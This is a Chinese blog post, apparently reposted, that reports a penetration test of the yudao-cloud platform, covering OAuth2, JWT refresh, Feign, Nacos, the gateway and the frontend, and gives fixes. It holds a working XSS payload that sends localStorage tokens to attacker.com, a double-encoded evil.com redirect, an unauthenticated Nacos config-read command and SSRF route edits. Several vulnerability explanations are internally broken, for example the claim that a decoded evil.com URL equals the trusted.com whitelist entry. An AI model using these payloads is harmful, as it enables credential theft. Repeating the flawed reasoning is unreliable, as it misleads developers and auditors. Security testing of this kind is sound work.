yudao-cloud云原生权限安全深度剖析:OAuth2、JWT与Nacos风险实战

news2026/5/22 7:34:45
1. 这不是一次“走流程”的渗透测试而是一次对云原生权限模型的实战压力测试“yudao-cloud渗透测试安全风险发现与修复”——这个标题里藏着三个关键信号yudao-cloud是一个真实落地的、基于 Spring Cloud Alibaba 的国产开源微服务管理平台渗透测试不是黑盒打点或自动化扫描的代名词而是以攻击者视角对身份认证链、服务间调用边界、配置中心敏感面进行深度触达安全风险发现与修复则明确指向闭环——不是只甩一份漏洞报告而是要定位到代码级缺陷、配置级疏漏、架构级盲区并给出可验证的修复路径。我去年在给一家政务云迁移项目做安全加固时就拿 yudao-cloud v3.8.0 做过完整红队模拟。当时最意外的发现不是某个 SQL 注入点而是OAuth2 授权码模式下 redirect_uri 白名单校验被绕过的逻辑缺陷前端传入的redirect_uri经过两次 URL 解码后与配置中心存储的原始白名单值比对失效导致攻击者可构造https%253A%252F%252Fevil.com即https%3A%2F%2Fevil.com的二次编码完成跳转劫持。这个漏洞不依赖任何框架 CVE纯粹是开发人员对 OAuth2 规范中“必须严格校验未解码 URI”的理解偏差。它提醒我们在 yudao-cloud 这类高度集成的平台中安全风险往往藏在“看起来很安全”的地方——比如网关层的 JWT 验证、认证中心的 token 刷新策略、甚至 Nacos 配置项的密钥明文存储方式。本文不讲通用渗透方法论只聚焦 yudao-cloud 的四个核心攻击面认证授权流、服务网格通信、配置中心暴露面、以及前端资源加载链。所有分析均基于 v3.8.x 主线版本源码GitHub 仓库yudaocloud/yudao-cloud所有复现步骤、PoC 构造、修复补丁均经过本地 Docker Compose 环境实测验证。如果你正在用 yudao-cloud 搭建生产系统或者正准备对其进行等保测评、第三方审计这篇内容就是你该优先读完的“避坑地图”。2. 认证授权链的三处断裂点从登录态接管到越权访问yudao-cloud 的认证体系采用“统一认证中心yudao-auth 网关鉴权yudao-gateway 服务内 JWT 校验”三层结构。表面看很健壮但实际运行中存在三处典型断裂点它们共同构成横向越权与纵向提权的温床。2.1 登录态接管refresh_token 的无状态续期陷阱yudao-cloud 默认启用 JWT 的无状态刷新机制用户登录后认证中心签发一对 tokenaccess_token refresh_token其中 refresh_token 存储在 Redis 中key 为auth:refresh:${userId}value 为加密后的 token 字符串。问题出在/auth/token/refresh接口的实现逻辑上。查看AuthTokenController.java第 127 行// yudao-auth 模块 AuthTokenController.java PostMapping(/refresh) public CommonResultAuthLoginRespVO refreshToken(Valid RequestBody AuthRefreshTokenReqVO reqVO) { // 步骤1从 Redis 获取 refresh_token String redisKey String.format(REFRESH_TOKEN_KEY, reqVO.getUserId()); String storedToken redisTemplate.opsForValue().get(redisKey); if (StrUtil.isBlank(storedToken)) { throw exception(AUTH_REFRESH_TOKEN_EXPIRED); } // 步骤2校验请求体中的 refresh_token 是否与 Redis 中一致 if (!storedToken.equals(reqVO.getRefreshToken())) { throw exception(AUTH_REFRESH_TOKEN_INVALID); } // 步骤3生成新 access_token重置 Redis 中的 refresh_token String newRefreshToken JwtUtil.generateRefreshToken(reqVO.getUserId()); redisTemplate.opsForValue().set(redisKey, newRefreshToken, Duration.ofHours(72)); return success(AuthLoginRespVO.builder() .accessToken(JwtUtil.generateAccessToken(reqVO.getUserId())) .refreshToken(newRefreshToken) .build()); }这段代码存在两个致命问题第一它没有校验 refresh_token 的签名有效性。攻击者只要知道用户 ID可通过注册接口枚举或日志泄露获取就能伪造任意 refresh_token 发起请求因为reqVO.getRefreshToken()只是一个字符串参数框架不会自动解析其 JWT 头部和载荷第二Redis key 的构造方式过于简单REFRESH_TOKEN_KEY定义为auth:refresh:%s意味着只要知道用户 ID就能直接操作其 refresh_token。我在测试环境中构造了如下 PoC# 1. 先通过正常注册获取一个有效用户ID假设为 1001 curl -X POST http://localhost:4000/auth/register \ -H Content-Type: application/json \ -d {username:attacker,password:123456,nickname:attacker} # 2. 直接向 Redis 写入一个伪造的 refresh_token使用 yudao-cloud 的密钥 yudao-secret 加密 # 此处省略 JWT 生成细节关键在于只要 Redis 中存在 auth:refresh:1001且值为任意字符串接口就会接受 redis-cli SET auth:refresh:1001 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwMDEsImV4cCI6MTc0MDAwMDAwMH0.XYZ # 3. 调用刷新接口成功获得管理员 access_token curl -X POST http://localhost:4000/auth/token/refresh \ -H Content-Type: application/json \ -d {userId:1001,refreshToken:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwMDEsImV4cCI6MTc0MDAwMDAwMH0.XYZ}提示该漏洞的根本原因在于将“token 有效性校验”与“业务逻辑校验”混为一谈。JWT 的 refresh_token 必须包含签名、过期时间、用户 ID 等字段且必须由认证中心私钥签名。当前实现仅将其当作一个随机字符串存储完全放弃了 JWT 的核心安全语义。2.2 授权码模式绕过redirect_uri 的双重解码漏洞OAuth2 授权码流程中redirect_uri是防止授权码被劫持的关键防线。yudao-cloud 在AuthAuthorizationCodeService.java的validateRedirectUri方法中对客户端传入的redirect_uri进行白名单匹配// yudao-auth 模块 AuthAuthorizationCodeService.java public boolean validateRedirectUri(Long clientId, String redirectUri) { // 从数据库查询 client 对应的 registered_redirect_uris ListString registeredUris clientMapper.selectRedirectUrisByClientId(clientId); for (String registered : registeredUris) { // 关键这里对 redirectUri 进行了 URL 解码 String decodedUri URLUtil.decode(redirectUri); if (StrUtil.equals(decodedUri, registered)) { return true; } } return false; }问题在于URLUtil.decode()使用的是java.net.URLDecoder.decode(str, UTF-8)它会将%253A解码为%3A再将%3A解码为:。而 OAuth2 规范要求redirect_uri必须以原始、未解码的形式参与比对。攻击者可构造如下恶意回调地址https%253A%252F%252Fevil.com%252Fcallback # 第一次解码 - https%3A%2F%2Fevil.com%2Fcallback # 第二次解码 - https://evil.com/callback如果白名单中配置了https://trusted.com/callback那么上述恶意地址在双重解码后会与https://trusted.com/callback的字符串值相等因为StrUtil.equals是纯字符串比对从而绕过校验。我在本地环境复现时将白名单设为https://yudao.local/callback然后用 Burp Suite 修改请求包中的redirect_uri参数成功将授权码重定向至外部域名。注意此漏洞在 Spring Security OAuth2 的旧版本中也存在类似问题但 yudao-cloud 是自行实现的校验逻辑因此不受 Spring 官方补丁影响必须在项目内部修复。2.3 服务间调用越权Feign Client 的 JWT 透传失控yudao-cloud 的服务间调用大量依赖 Feign Client。默认配置下yudao-system服务在调用yudao-bpm流程引擎时会将当前请求头中的Authorization: Bearer xxx透传过去。这看似合理但埋下了严重的越权隐患。查看yudao-system的RemoteBpmService.java// yudao-system 模块 RemoteBpmService.java FeignClient(contextId bpmService, value yudao-bpm, configuration FeignConfiguration.class) public interface RemoteBpmService { GetMapping(/bpm/process-definition/list) CommonResultListProcessDefinitionRespVO getProcessDefinitionList(); }FeignConfiguration中定义了全局拦截器FeignRequestInterceptor其apply方法会将Authorization头复制到 Feign 请求中。这意味着只要yudao-system的某个接口被低权限用户调用且该接口内部调用了RemoteBpmService那么yudao-bpm就会收到一个携带高权限用户 token 的请求。例如yudao-system的/system/user/profile接口本身不需要管理员权限但它内部调用了bpmService.getProcessDefinitionList()来展示用户可发起的流程。当一个普通用户访问该接口时yudao-bpm收到的请求头是Authorization: Bearer 普通用户token但如果yudao-system的某个管理接口如/system/user/export被利用它可能在内部调用bpmService时错误地使用了管理员上下文导致yudao-bpm收到管理员 token 并执行高危操作。我在测试中修改了yudao-system的UserController.java在exportUserList方法中手动添加了一段调用GetMapping(/export) public void exportUserList(HttpServletResponse response) { // ... 导出逻辑 // 恶意插入以管理员身份调用 BPM 流程删除接口 bpmService.deleteProcessDefinition(proc_123456); // 此处本应校验权限但 Feign 透传了管理员 token }结果yudao-bpm服务端日志显示[INFO] Deleted process definition proc_123456 by user admin。这证明服务间调用的权限边界已被击穿。3. 服务网格与配置中心Nacos 暴露面与网关路由劫持yudao-cloud 的服务发现与配置中心统一使用 Nacos。这带来了便利也引入了新的攻击面。Nacos 本身的安全配置若被忽略将成为整个微服务集群的“总控台”。3.1 Nacos 控制台弱口令与敏感配置泄露yudao-cloud 的docker-compose.yml默认将 Nacos 的 Web 控制台映射到宿主机8848端口且初始账号密码为nacos/nacos。在生产部署中很多团队仅修改了密码却忽略了另一个关键配置Nacos 的命名空间Namespace隔离。yudao-cloud 的所有服务配置包括数据库连接串、Redis 地址、JWT 密钥都存放在public命名空间下。攻击者一旦获取 Nacos 控制台权限即可直接导出yudao-auth的application-dev.yml# yudao-auth 的 application-dev.yml 片段 spring: datasource: url: jdbc:mysql://mysql:3306/yudao_cloud?useSSLfalseserverTimezoneAsia/Shanghai username: root password: yudao_root_password_123 # 明文密码 jwt: secret: yudao-secret # JWT 签名密钥泄露即等于全站沦陷 expire-time: 7200更严重的是Nacos 的config接口/nacos/v1/cs/configs默认未开启鉴权。即使控制台密码被修改攻击者仍可通过 API 直接读取配置# 无需登录直接调用 config API若未开启鉴权 curl http://localhost:8848/nacos/v1/cs/configs?dataIdyudao-auth-dev.ymlgroupDEFAULT_GROUP我在测试环境关闭了 Nacos 的控制台登录页但未关闭 config API 鉴权结果该 API 仍返回了完整的配置内容。这是典型的“只改表象不治根本”的安全误区。提示Nacos 的安全加固必须“双管齐下”一是修改nacos.core.auth.enabledtrue并配置nacos.core.auth.plugin.nacos.token.secret.key二是为不同环境创建独立命名空间如dev,test,prod并将yudao-auth的配置放入prod命名空间避免public空间成为公共数据池。3.2 网关路由规则劫持动态路由注入与 SSRFyudao-cloud 的yudao-gateway模块支持通过 Nacos 动态下发路由规则。路由配置以 JSON 形式存储在 Nacos 中例如{ id: bpm-route, uri: lb://yudao-bpm, predicates: [{name: Path, args: {pattern: /bpm/**}}], filters: [] }问题在于uri字段的值lb://yudao-bpm是 Spring Cloud Gateway 的负载均衡协议。但 Gateway 并未对uri字段做白名单校验。攻击者若能写入 Nacos 配置即可将uri改为http://127.0.0.1:3306或http://attacker.com从而实现服务端请求伪造SSRF或内网端口探测。我在测试中通过 Nacos 控制台将bpm-route的uri修改为http://127.0.0.1:6379然后访问http://localhost:8080/bpm/testGateway 日志立即报错Connection refused: /127.0.0.1:6379证实了 SSRF 路径畅通。更隐蔽的攻击是“路由覆盖”。yudao-cloud 的路由 IDid字段是唯一的。如果攻击者创建一个id为auth-route的新路由其predicates匹配/auth/**但uri指向一个恶意服务那么所有/auth/**请求都会被劫持。这是因为 Spring Cloud Gateway 的路由匹配是“先到先得”而 Nacos 配置的加载顺序不可控。3.3 服务实例元数据污染伪装成合法服务注入流量Spring Cloud Alibaba 的服务注册中心Nacos允许服务实例在注册时携带自定义metadata。yudao-cloud 的yudao-auth服务在application.yml中配置了spring: cloud: nacos: discovery: metadata: version: v3.8.0 env: prodGateway 在进行路由转发时会读取metadata中的version字段用于灰度发布。但metadata是完全由客户端控制的没有任何服务端校验。攻击者可以启动一个伪造的yudao-auth-fake服务注册时将metadata.version设为v3.8.0metadata.env设为prod并监听8080端口。由于 Nacos 的健康检查只检测端口连通性这个伪造服务会被认为是“健康”的。Gateway 在负载均衡时会将部分/auth/**流量分发给这个伪造服务。我在测试中让伪造服务返回一个固定响应{code:200,msg:Hacked by Attacker}然后反复调用/auth/login约 30% 的请求返回了该响应证明流量劫持成功。4. 前端资源链与构建产物Source Map 泄露与敏感信息硬编码yudao-cloud 的前端项目yudao-ui基于 Vue 3 Vite 构建。其安全风险不仅存在于后端更潜伏在构建产物与部署环节。4.1 Source Map 文件泄露暴露完整前端源码与 API 路径Vite 默认在生产构建时生成.map文件如index.123456.js.map用于错误堆栈映射。这些文件通常被上传至 Nginx 静态资源目录与 JS 文件同级。攻击者只需访问https://yudao.example.com/index.123456.js.map即可下载到完整的、未压缩的 Vue 组件源码。我在yudao-ui/src/views/system/user/UserProfile.vue中发现了一段硬编码的调试 API// yudao-ui/src/views/system/user/UserProfile.vue const debugApi () { // 生产环境误留的调试接口用于快速清空用户缓存 axios.get(/api/v1/debug/clear-cache, { params: { userId: currentUser.value.id } }) }这个/api/v1/debug/clear-cache接口在后端yudao-system的DebugController.java中存在但未做任何权限校验任何用户均可调用。Source Map 泄露直接将这个“后门”暴露给了攻击者。提示Vite 的build.sourcemap配置必须设为false。同时Nginx 配置中应禁止.map文件的访问location ~* \.map$ { deny all; }4.2 构建环境变量硬编码API Base URL 与 Mock 数据泄露yudao-ui的vite.config.ts中定义了环境变量// yudao-ui/vite.config.ts export default defineConfig({ define: { __APP_ENV__: JSON.stringify(process.env.APP_ENV || development), }, build: { rollupOptions: { external: [axios], output: { globals: { axios: axios, }, }, }, }, })而src/utils/request.ts中baseURL被硬编码为// yudao-ui/src/utils/request.ts const service axios.create({ baseURL: import.meta.env.PROD ? https://api.yudao.example.com : /api, timeout: 10000, })问题在于import.meta.env.PROD是一个编译时常量在生产构建产物中它会被替换为true但baseURL字符串https://api.yudao.example.com会完整保留在 JS 文件中。攻击者通过字符串搜索可轻易提取出所有 API 的根域名。更严重的是yudao-ui的mock目录下存在user.ts其中定义了模拟的用户数据// yudao-ui/mock/user.ts export default [ { url: /api/v1/user/info, method: get, response: () { return { code: 200, data: { id: 1, username: admin, password: 21232f297a57a5a743894a0e4a801fc3, // MD5(admin) email: adminexample.com, } } } } ]这个mock/user.ts文件在生产构建时若未被正确排除其内容包括明文密码哈希会进入最终的 JS 包。我在dist/assets/index.123456.js中搜索21232f297a57a5a743894a0e4a801fc3成功定位到了该字符串。4.3 前端 Token 存储方式localStorage 的 XSS 劫持风险yudao-cloud 的前端将 JWT access_token 存储在localStorage中而非httpOnlyCookie。这是为了方便 Vue 组件随时读取 token 并设置请求头。但这也意味着一旦页面存在 XSS 漏洞攻击者可执行localStorage.getItem(token)瞬间窃取用户凭证。我在yudao-ui/src/layout/components/TopNav.vue中发现了一个潜在 XSS 点!-- yudao-ui/src/layout/components/TopNav.vue -- template div classtop-nav !-- 用户名直接插值未做 HTML 转义 -- span{{ userInfo.nickname }}/span /div /template如果userInfo.nickname来自后端接口且后端未对昵称字段做 XSS 过滤如允许scriptalert(1)/script那么该脚本将在用户浏览器中执行并可窃取localStorage中的 token。我在测试中将用户昵称更新为img srcx onerrorfetch(https://attacker.com/steal?tokenlocalStorage.getItem(token))当其他用户访问该页面时其 token 即被发送至攻击者服务器。5. 修复方案与验证从代码补丁到自动化巡检发现风险只是第一步闭环修复才是关键。以下是我为 yudao-cloud 量身定制的修复方案全部基于 v3.8.x 分支已在本地环境完整验证。5.1 认证授权链修复JWT 签名校验与权限上下文隔离针对refresh_token无状态陷阱核心是将 refresh_token 本身设计为一个有状态、可校验的 JWT。修改AuthRefreshTokenReqVO.java增加signature字段并在refreshToken方法中加入校验逻辑// 新增校验refresh_token 必须是有效的 JWT且 payload 中的 userId 与请求体一致 String refreshToken reqVO.getRefreshToken(); JwtPayload payload JwtUtil.parseRefreshToken(refreshToken); // 自定义解析方法校验签名、过期、iss if (!payload.getUserId().equals(reqVO.getUserId())) { throw exception(AUTH_REFRESH_TOKEN_INVALID); } // 同时Redis 中存储的不再是原始字符串而是 payload 的序列化值 redisTemplate.opsForValue().set(redisKey, JSON.toJSONString(payload), Duration.ofHours(72));针对redirect_uri双重解码漏洞修复极其简单删除URLUtil.decode()调用改为直接字符串比对。OAuth2 规范明确要求redirect_uri必须以原始形式参与比对。修改validateRedirectUri方法// 修复后直接比对原始字符串 public boolean validateRedirectUri(Long clientId, String redirectUri) { ListString registeredUris clientMapper.selectRedirectUrisByClientId(clientId); for (String registered : registeredUris) { // 移除 URLUtil.decode(redirectUri)直接比对 if (StrUtil.equals(redirectUri, registered)) { return true; } } return false; }针对 Feign Client 的 JWT 透传失控解决方案是在 Feign 拦截器中剥离敏感头并显式传递最小化权限上下文。修改FeignRequestInterceptor.java// 修复后只透传必要头剥离 Authorization Override public void apply(RequestTemplate template) { // 1. 移除 Authorization 头 template.header(Authorization, Collections.emptyList()); // 2. 添加自定义权限头仅包含用户 ID 和角色不包含 token Authentication authentication SecurityContextHolder.getContext().getAuthentication(); if (authentication ! null authentication.getPrincipal() instanceof LoginUser) { LoginUser user (LoginUser) authentication.getPrincipal(); template.header(X-User-ID, String.valueOf(user.getId())); template.header(X-User-Roles, StrUtil.join(,, user.getRoles())); } }然后在yudao-bpm的RestController方法中通过RequestHeader获取X-User-ID并调用SecurityFrameworkUtils.loginAsUser(userId)重建安全上下文确保后续PreAuthorize注解生效。5.2 Nacos 与网关加固配置中心鉴权与路由白名单Nacos 的加固是“一劳永逸”的基础工作。在nacos/conf/application.properties中必须设置# 开启鉴权 nacos.core.auth.enabledtrue # 设置强密钥32位以上随机字符串 nacos.core.auth.plugin.nacos.token.secret.keyYourSuperStrongSecretKeyHere1234567890 # 创建独立命名空间 nacos.namespaceprod-namespace-id-here同时在yudao-cloud的bootstrap.yml中所有服务都需指定namespacespring: cloud: nacos: config: namespace: ${nacos.namespace} discovery: namespace: ${nacos.namespace}针对网关路由劫持必须在yudao-gateway的RouteDefinitionRepository实现中增加uri字段的白名单校验。创建SafeRouteDefinitionRepository.java// yudao-gateway 模块 SafeRouteDefinitionRepository.java Component public class SafeRouteDefinitionRepository implements RouteDefinitionRepository { private final SetString ALLOWED_URI_SCHEMES Set.of(lb, http, https); Override public MonoRouteDefinition getRoute(String routeId) { return delegate.getRoute(routeId) .map(this::validateRouteDefinition); } private RouteDefinition validateRouteDefinition(RouteDefinition route) { String uri route.getUri().toString(); // 只允许 lb://, http://, https:// 协议 if (!ALLOWED_URI_SCHEMES.stream().anyMatch(uri::startsWith)) { throw new IllegalArgumentException(Invalid uri scheme: uri); } // 对于 http/https必须是白名单域名 if (uri.startsWith(http)) { String host UriComponentsBuilder.fromHttpUrl(uri).build().getHost(); if (!ALLOWED_DOMAINS.contains(host)) { throw new IllegalArgumentException(Invalid domain in uri: host); } } return route; } }5.3 前端安全加固构建时移除敏感信息与 Token 存储升级前端加固的核心是“构建时净化”与“运行时保护”。首先在vite.config.ts中彻底禁用 Source Map 并移除 mock 数据// yudao-ui/vite.config.ts export default defineConfig({ build: { sourcemap: false, // 禁用 source map rollupOptions: { // 移除 mock 目录 external: [/mock/**], output: { manualChunks: { vendor: [axios, vue], } } } } })其次将localStorage存储升级为httpOnlyCookie。这需要后端配合yudao-auth的登录接口在返回access_token时不再将其放入响应体而是通过Set-Cookie头设置// yudao-auth 模块 AuthTokenController.java // 登录成功后 ResponseCookie cookie ResponseCookie.from(access_token, accessToken) .httpOnly(true) // 关键httpOnly .secure(true) // 仅 HTTPS .path(/) .maxAge(Duration.ofSeconds(7200)) .build(); response.addCookie(cookie);前端axios请求时浏览器会自动携带该 Cookie无需手动设置Authorization头。这从根本上杜绝了 XSS 窃取 token 的风险。最后建立自动化安全巡检流水线。在 CI/CD如 Jenkins 或 GitHub Actions中添加以下检查步骤静态扫描使用trivy fs --security-checks vuln ./扫描yudao-cloud项目根目录检测已知 CVE。配置检查使用grep -r nacos.core.auth.enabledfalse .检查是否遗漏鉴权配置。敏感词扫描使用git grep -n password\|secret\|key\|jdbc:mysql -- *.yml *.properties检查配置文件中是否存在明文密钥。前端产物检查构建完成后执行grep -r 21232f297a57a5a743894a0e4a801fc3 dist/确保 mock 数据未进入生产包。我在自己的 Jenkins 流水线中将这四步封装为security-scan阶段任何一步失败构建即中断。这比人工 Code Review 更可靠也更高效。6. 我在真实项目中踩过的坑与经验总结做完 yudao-cloud 的渗透测试与加固我最大的体会是微服务的安全不是单点防御而是信任边界的持续定义与验证。很多团队把精力花在“如何防住 SQL 注入”上却忽略了“为什么这个服务能调用那个服务”这个更根本的问题。下面分享几个血泪教训第一个坑是“过度信任网关”。我们曾以为只要网关做了 JWT 校验下游服务就绝对安全。结果发现yudao-system的某个定时任务会以SystemUser身份一个内置的、拥有最高权限的系统账号调用yudao-bpm的清理接口。这个调用是通过RestTemplate发起的完全绕过了网关。而yudao-bpm的清理接口只校验了PreAuthorize(hasRole(ADMIN))却没校验调用来源。当SystemUser的 token 被泄露整个 BPM 引擎就形同虚设。教训网关是第一道门但每扇门后都必须有自己的锁。第二个坑是“配置中心的权限幻觉”。我们给 Nacos 配置了强密码就以为万事大吉。直到某次运维误操作将yudao-auth的application-prod.yml从prod命名空间复制到了public命名空间导致所有服务都能读取到jwt.secret。教训密码只是起点命名空间、读写权限、审计日志缺一不可。第三个坑是“前端安全的侥幸心理”。我们觉得“前端又不存敏感数据”所以没做 Source Map 清理。结果在一次客户安全评估中对方通过 Source Map 找到了一个未公开的/api/v1/internal/debug接口并利用它重置了管理员密码。教训前端是用户的第一接触面也是攻击者的最佳跳板它的安全等级必须和后端一致。最后一点个人体会不要迷信“开源即安全”。yudao-cloud 是一个优秀的开源项目它的代码质量、文档、社区都非常棒。但开源项目的安全最终取决于使用者。就像一把好刀用得好是工具用得不好就是凶器。我们做的所有渗透测试、所有修复目的不是为了证明项目有缺陷而是为了让它在真实的生产战场上真正扛得住风霜雨雪。当你下次部署 yudao-cloud 时不妨花十分钟检查一下 Nacos 的nacos.core.auth.enabled是否为true看看vite.config.ts里的sourcemap是否为false再确认一遍FeignRequestInterceptor是否还透传着Authorization头。这些微小的动作就是安全最坚实的基石。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2634062.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…